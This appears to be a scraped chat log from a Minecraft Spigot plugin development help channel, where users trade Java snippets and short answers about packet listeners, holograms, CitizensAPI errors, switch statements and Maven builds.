PacketEvent event = new PacketEvent(player, (Packet<? extends PacketListener>) packet, PacketEvent.PacketType.INCOMING);
Bukkit.getServer().getPluginManager().callEvent(event);
if(!event.isCancelled()) super.channelRead(channelHandlerContext, packet);
}
};
ChannelPipeline pipeline = ((CraftPlayer) player).getHandle().playerConnection.networkManager.channel.pipeline();
pipeline.addBefore("packet_handler", player.getName(), channelDuplexHandler);
}
}
error:
[16:06:25 INFO]: kill05 lost connection: Internal Exception: java.lang.ClassCastException: class net.minecraft.server.v1_8_R3.PlayerConnection cannot be cast to class net.minecraft.server.v1_8_R3.PacketListenerPlayOut (net.minecraft.server.v1_8_R3.PlayerConnection and net.minecraft.server.v1_8_R3.PacketListenerPlayOut are in unnamed module of loader java.net.URLClassLoader @4b9af9a9)
i guess it's because of the cast on the packet object but it worked fine before
So i got this issue with creating a custom NPC Registry with CitizensAPI.
Error:
java.lang.IllegalStateException: no implementation set
at net.citizensnpcs.api.CitizensAPI.getImplementation(CitizensAPI.java:79) ~[?:?]
at net.citizensnpcs.api.CitizensAPI.createNamedNPCRegistry(CitizensAPI.java:60) ~[?:?]
Code:
NPCRegistry reg = CitizensAPI.createNamedNPCRegistry("balblabal", new MemoryNPCDataStore());
And i'm creating the Registry within the onEnable method
this is what i do to create one CitizensAPI.createAnonymousNPCRegistry(new MemoryNPCDataStore());
Yes, just like Minecraft servers and clients
I see, but it worked before
same code
well not sure
I even updated the citizens module and it didnt fixed it ahah
if you are not on legacy versions, monkey can help you on citizen's discord
he's also online rn
Does that mean if I release a plugin to public and it uses redis each person who wants to use the plugin has to get their own connection for redis?
How to transform a List<String> to a String?
in list contains A and B
I want a string, text: A\nB
how?
String.join
String?
or a Builder
public void createHologram(Location l, List<String> text) {
ArmorStand as = (ArmorStand) l.getWorld().spawnEntity(l, EntityType.ARMOR_STAND);
as.setVisible(false);
as.setCustomNameVisible(true);
as.setCanPickupItems(false);
as.setCustomName(String.valueOf());
}```
you can;t create a multi-line custom name
public void createHologram(Location l, String... lines) {
List<String> hologramLines = Lists.newArrayList();
hologramLines.addAll(Arrays.asList(lines));
hologramLines.forEach((text) -> {
ArmorStand as = (ArmorStand) l.getWorld().spawnEntity(l, EntityType.ARMOR_STAND);
as.setVisible(false);
as.setCustomNameVisible(true);
as.setCanPickupItems(false);
as.setCustomName(text);
});
}```
?
Their own Redis server, yes
now would It be easier on their if I just used bungee api?
How can I loop something in lua?
Is it
for a=1,100 do
print(a,a*a)
end```
Because that's what I found.
Wdym
increment*
for again=false to
print("false")
end```
How could I add a increment?
That prints it but not loop it.
bump
I'll do more research that doesn't seem to work.
Yo guys, i have a question, how can i make the Particle.EXPLOSION_LARGE bigger? i use this code right now to create the particle:
player.getWorld().spawnParticle(Particle.EXPLOSION_LARGE, player.getLocation(), 0, 0, 0, 0, 1);
pls help me
I'm not sure.
:/
how to fix
public void createHologram(Location l, String... lines) {
List<String> hologramLines = Lists.newArrayList();
hologramLines.addAll(Arrays.asList(lines));
hologramLines.forEach((text) -> {
ArmorStand as = (ArmorStand) l.getWorld().spawnEntity(l, EntityType.ARMOR_STAND);
as.setVisible(false);
as.setCustomNameVisible(true);
as.setCanPickupItems(false);
as.setCustomName(PlaceholderAPI.setPlaceholders(null, text.replace("&", "§")));
});
}```
decrease height of each additional stand
how?
location
-1 to go down
i think use a for loop
you already have a loop
in hologramLines
your lambda
example
So, I've made a little library that I am currently importing into a plugin. However, since 1.18 this is happening when trying to build:
class file for net.minecraft.world.entity.EntityCreature not found```
What's going on here?
The scope of the project has EntityCreature accessibe
i forget if i decrase 1 in height, the value in forEach is height - 1
in next item
if height = 10
🤦♂️
l.add(0, 1, 0);
hologramLines.forEach((text) -> {
l.setY(l.getY() - 1);
? '-'
l.subtract(0,1,0) but you will have issues inside the lambda
ok
not work
public void createHologram(Location l, String... lines) {
List<String> hologramLines = Lists.newArrayList();
hologramLines.addAll(Arrays.asList(lines));
l.add(0, 1, 0);
hologramLines.forEach((text) -> {
l.subtract(0, 1, 0);
ArmorStand as = (ArmorStand) l.getWorld().spawnEntity(l, EntityType.ARMOR_STAND);
as.setVisible(false);
as.setCustomNameVisible(true);
as.setCanPickupItems(false);
as.setCustomName(PlaceholderAPI.setPlaceholders(null, text.replace("&", "§")));
});
}```
is it faster to do a fall through switch with multiple subtractions or a bunch of if...else if's?
'-'
switch
ok
which one has more code lines?
switch(variable) {
case 'a':
return;
case 'b':
return;
}
or
if(variable.equalsIgnorecase("a") {} else if(variable.equalsIgnorecase("b") {
code lines doesn;t matter
i have more than enough disk space
which is faster to do?
yes
a lambda switch would be preferable
a what now?
new in java 17? I think
i choose switch
lambda-like switches was from java 14
switch (variable) {
case "a" -> code;
case "b" -> code;```
help
whats the difference?
an anonymos inner with no fall through
Can someone help me? I wanted separate but it's all in one location.
.
Code ->
public void createHologram(Location l, String... lines) {
List<String> hologramLines = Lists.newArrayList();
hologramLines.addAll(Arrays.asList(lines));
l.add(0, 1, 0);
hologramLines.forEach((text) -> {
l.subtract(0, 1, 0);
ArmorStand as = (ArmorStand) l.getWorld().spawnEntity(l, EntityType.ARMOR_STAND);
as.setVisible(false);
as.setCustomNameVisible(true);
as.setCanPickupItems(false);
as.setCustomName(PlaceholderAPI.setPlaceholders(null, text.replace("&", "§")));
});
}```
new HologramBuilder(this).createHologram(player.getLocation(), "&6Teste", "&4fds", "%KVender_bolsa")```
isnt it a collection?
wym
C O L L E C T I O N
Yes. It's a Collection<? extends Player>
It hasn't been an array since 1.7
difference between getServer.getOnlinePlayers and getOnlinePlayers?
none?
How can i get a block out of an InventoryMoveItemEvent?
- For example, if the source type is a chest, how can i retrieve the chest block?
getBlock
That doesn't exist
Is it fine to do permission checks while listening to protocolib packets that may send before join?
Solved, it was
event.getSource().getLocation().getBlock();
does anyone know how to disable block state updates for noteblocks? noteblocks have a ton of blockstates and are very useful when you want to make custom blocks in a resource pack, but the problem is that the noteblocks update their blockstates when you put something next to them
What is the zip file closed bug again? Does it show that the plugin is already unloaded or is it a spigot bug?
Actually, that's an issue with the plugin reloading incorrectly, right?
is there any way i can get the last player who messaged a given player or should i use a map to keep track of all the messages
Pls help
cant help with a dot question
pls reply to ur original question
actually yes, it def is: Enabled plugin with unregistered PluginClassLoader ClaimChunk v0.0.21. I wonder why spigot does not instantly-throw an exception (perhaps even error) instead of it being a ticking time bomb, but oh well
The armorstands locations is same
then don't make the location the same?
Make sure to clone the location object if you reuse it
how could i get the amount of specific items? from a chest
No enum constant org.bukkit.block.Biome.SNOWY_PLAINS
fucking cursed issues man
it does exist
I don't even know if I can fix this
how can i get ALL commands owned by a single plugin?
./help <Plugin name>
{
if (getWorldGuard() != null)
{
Vector v = new Vector(loc.getX(), loc.getBlockY(), loc.getZ());
return getWorldGuard().getRegionManager(loc.getWorld()).getApplicableRegionsIDs(v).contains(region);
}
return false;
}
@EventHandler
public void Break(BlockBreakEvent e) {
if(isInRegion(e.getBlock().getLocation(), main.getAyarlarConfig().getStringList("Ayarlar.Alanlar"))){
When it's a string, it pulls data from the surrounding fields. but it is not pulling the list can i fix this?
(Location loc, List<String> region)
hes not wrong tho
Do I have to keep the files created after running buildtools or do I only keep the spigot jar file ?
or does the spigot folder created contain important files for development ?
just to be safe dont delete it
uhm who is not wrong, me or him?
him
i still asked for all commands of a plugin
wait nvm
its not like im going to run the command and parse the response and make a list
how do i get an item's byte, like the item is 36:7, how do i get the 7, the byte
*plugin
any plugin
some kind of regex probably or string slice
i understand some plugins do not friendly register commands its fine to not include them
how do i get it tho
not asking how to split
im wondering if someone knows how to do that
you can do something like str.split(":")[1]
there is no JavaPlugin#getCommands
that's not what i'm asking
?paste
There is the bukkit command map.
what are you asking im confused
I need a code exorcist
can i use the server command map?
i mean it works
does anyone understand
can someone explain to me in what world my issue is a thing
k thx
are biome enums not... enums?
does the maven plugin install compile and put the result in the local repo?
Yes, if you use the clean, package, and install.
what do those commands do
i just run package and copy the plugin jar for d ev testing
package makes it into a jar
Those are maven commands
You probably want to clean before you package. Just a good idea.
true
So if I already know java, do I start on this page https://www.spigotmc.org/wiki/spigot-plugin-development/ on section "Creating a blank plugin" ?
.
anyone wanna rate my code without laughing?
yes
That’s a bit beyond me, but I think you need access to a nexus server and they give you some way to upload changes.
https://github.com/BlueTree242/AdvancedPlHide tell me how can i improve
both code and features
simply yes
ah
codemc nexus is free
What file is needed for 1.18.1 development on this page ? https://hub.spigotmc.org/nexus/content/repositories/snapshots/org/spigotmc/spigot-api/1.18.1-R0.1-SNAPSHOT/
just the 1.18.1 jar file ?
Index 27 out of bounds for length 27 HOW IS THIS OUT OF BOUNDS
ah, so i should do -1?
I guess
is it possible to not kick the players when the server stops?
depending on the code
starting value is 0
Nah
i suppose it might be if you fuck around with the packets a lot, but then again your client will automatically disconnect when it doesn't receive a keep alive packet for a certain amount of time
what are you trying to do?